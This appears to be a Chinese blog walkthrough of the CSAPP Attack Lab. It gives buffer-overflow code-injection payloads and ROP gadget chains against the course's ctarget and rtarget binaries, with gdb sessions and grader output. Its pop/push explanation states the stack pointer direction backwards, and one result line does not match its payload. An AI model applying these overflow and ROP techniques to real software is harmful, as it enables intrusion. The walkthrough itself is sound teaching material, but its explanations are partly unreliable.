没时间看CSAPP?那总要看看实验吧——ATTACKLAB

230 阅读7分钟

0. 本节内容

在本次实验中,我们通过缓冲区溢出来解决五个问题,其中后两个问题由于使用了随机栈偏移标记为不可执行区域,不允许代码注入

1. 任务一

我们的目的是通过注入代码,让test运行到touch1

 void test()
 {
   int val;
   val = getbuf();
   printf("No exploit. Getbuf returned 0x%x\n", val);
 }
 void touch1()
 {
 vlevel = 1; /* Part of validation protocol */
 printf("Touch1!: You called touch1()\n");
 validate(1);
 exit(0);
 }

汇编代码为

0000000000401968 <test>:
  401968: 48 83 ec 08           sub    $0x8,%rsp
  40196c: b8 00 00 00 00        mov    $0x0,%eax
  401971: e8 32 fe ff ff        callq  4017a8 <getbuf>
  401976: 89 c2                 mov    %eax,%edx
  401978: be 88 31 40 00        mov    $0x403188,%esi
  40197d: bf 01 00 00 00        mov    $0x1,%edi
  401982: b8 00 00 00 00        mov    $0x0,%eax
  401987: e8 64 f4 ff ff          callq  400df0 <__printf_chk@plt>
  40198c: 48 83 c4 08           add    $0x8,%rsp
  401990: c3                    retq
  • 我们可以看到调用了getbuff
00000000004017a8 <getbuf>:
  4017a8: 48 83 ec 28           sub    $0x28,%rsp
  4017ac: 48 89 e7              mov    %rsp,%rdi
  4017af: e8 8c 02 00 00        callq  401a40 <Gets>
  4017b4: b8 01 00 00 00        mov    $0x1,%eax
  4017b9: 48 83 c4 28           add    $0x28,%rsp
  4017bd: c3                    retq
  • 在这部分代码中,我们看到了分配0x28也就是40字节的栈帧。也就是我们可以填充40字节后在后八个字节写上返回到touch1的地址,通过缓冲区溢出的方式实现 [图:两个栈帧,ret]
  • touch1地址为0x4017c0
  • 另外注意小端排列
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

结果如下

[root@1c5c7903926e 3.attacklab-handout]# cat touch1.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 03 04 05 01 02 03 04 05 01 02 03 04 05 01 02 03 04 05 01 02 03 04 05 01 02 03 04 C0 17 40 00 00 00 00 00 

2. 任务二

任务二的要求为需要我们在跳转到touch2,传递一个值为cookie值的参数,因此我们需要

  • 使用mov将值传入rdi中,或者这里也可以使用pop rdi并在后面一行cookie值
  • 最后返回到touch2中 touch2代码
void touch2(unsigned val)
 {
     vlevel = 2; /* Part of validation protocol */
     if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
     } else {
          printf("Misfire: You called touch2(0x%.8x)\n", val);
          fail(2);
    }
   exit(0);
 }

我们之前在任务一中,只是通过修改函数返回地址,使得程序跳转到我们希望运行的函数,但是我们如何让程序运行我们自己编写的代码呢?

我们可以将自己的代码写入缓冲区内,也就是在getbuf输入时,再将函数返回地址改为编写代码的地址,那么我们又需要找到编写代码的首地址

注意getbuf的代码

 4017a8: 48 83 ec 28           sub    $0x28,%rsp
  4017ac: 48 89 e7              mov    %rsp,%rdi

我们在0x4017a8的运行结束后,此时rsp的值就是我们所需要编写代码的首地址

通过gdb我们可以实现

(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) r -q
Starting program: /csapp/Ex_lab/3.attacklab-handout/ctarget -q
Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:14
14      buf.c: No such file or directory.
(gdb) info rsp
Undefined info command: "rsp".  Try "help info".
(gdb) info r rsp
rsp            0x5561dc78          0x5561dc78

如此 , 0x5561dc78 就是我们需要的编写代码的首地址。 另外我们自己编写的代码,我们只知道汇编,但不知道机器码,因此需要

gcc -c level1.s
objdump -d level1.o > level1.txt

因此有

48 c7 c7 fa 97 b9 59 68 <---mov
c3 00 00 00 00 00 00 00<---ret
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <---返回到我们编写的代码 
EC 17 40 00 00 00 00 00 <---touch2 的地址

结果如下

[root@1c5c7903926e 3.attacklab-handout]# cat touch11.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00 

3. 任务三

任务三和任务二区别不大,一个是参数为int,一个是参数为字符串,字符串和cookie相同,这里注意,字符的机器级表示和整数的机器级表示是不一样的。

touch3hexmatch代码

/* Compare string to hex represention of unsigned value */
 int hexmatch(unsigned val, char *sval)
{
     char cbuf[110];
     /* Make position of check string unpredictable */
     char *s = cbuf + random() % 100;
     sprintf(s, "%.8x", val); //s=val=cookie
     return strncmp(sval, s, 9) == 0; //比较cookie和第二个参数的前9位是否相同
   // cookie只有8字节。这里为9的原因是我们要比较最后一个是否为'\0'
 }
void touch3(char *sval)
 {
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) { //相同则成功
         printf("Touch3!: You called touch3(\"%s\")\n", sval);
         validate(3);
    } else {
         printf("Misfire: You called touch3(\"%s\")\n", sval);
         fail(3);
     }
    exit(0);
 }

注意:

  • 您注入的代码应将寄存器%rdi设置为此字符串的地址
  • 调用函数hexmatchstrncmp时,它们会将数据压入堆栈,从而覆盖存放getbuf使用的缓冲区的内存部分。 因此,您需要注意在哪里放置您的Cookie字符串[其实就是别把字符串放buf里]

如何操作

  • 首先需要一个mov将字符串的地址存入rdi中,
  • buf外缓冲区溢出的第一个地址为注入代码地址
  • 第二个地址为字符串的机器码表示
  • 如此就不能返回到touch3了,我们通过push+ret来实现

通过gccobjdump得到机器码,

48 c7 c7 a8 dc 61 55 68 <---mov 
fa 18 40 00 c3 00 00 00 <----push touch3 + ret
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 <---编写代码的地址
35 39 62 39 39 37 66 61 <----字符串

结果如下

[root@1c5c7903926e 3.attacklab-handout]# cat level3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 
[root@1c5c7903926e 3.attacklab-handout]# 

ROP

Return-Oriented Programming 如前面所说,由于随机栈偏移标记为不可执行区域,我们不能使用代码注入,只能通过缓冲区溢出的方式,而为了代替自己编写代码的部分,需要在代码中找到小的代码块,将其地址放入溢出的位置,组合实现自己所需的代码

4.任务四

实现touch2,但不可以使用注入

  • 代码需要实现一个设置参数和一个跳转
  • 跳转仅需最后添加地址

这里介绍下pop和push

  • pop ax表示将rsp的值放入ax中,同时rsp--
  • push ax表示rsp++,同时将ax的值放入rsp中

通过pop可以实现mov的效果

查看附录 结果代码

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 <----从rtarget中找到pop的代码
fa 97 b9 59 00 00 00 00 <----cookie
ec 17 40 00 00 00 00 00 <----touch2地址
[root@1c5c7903926e 3.attacklab-handout]# cat level4.txt | ./hex2raw | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2B 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 EC 17 40 00 00 00 00 00 

5.任务五

这个完全是参考网上的代码

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* match 40 */
ad 1a 40 00 00 00 00 00 /* gadget 1: movq %rsp, %rax */
c5 19 40 00 00 00 00 00 /* gadget 2: movq %rax, %rdi */
ab 19 40 00 00 00 00 00 /* gadget 3 : popq %rax */
48 00 00 00 00 00 00 00 /* offset */
42 1a 40 00 00 00 00 00 /* gadget 4: movl %eax, %edx */
34 1a 40 00 00 00 00 00 /* gadget 5: movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* gadget 6: movl %ecx, %esi */
d6 19 40 00 00 00 00 00 /* add_xy */
c5 19 40 00 00 00 00 00 /* gadget 7: movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch 3 */
35 39 62 39 39 37 66 61 00 /* string */
[root@1c5c7903926e 3.attacklab-handout]# cat level5.txt | ./hex2raw | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AD 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00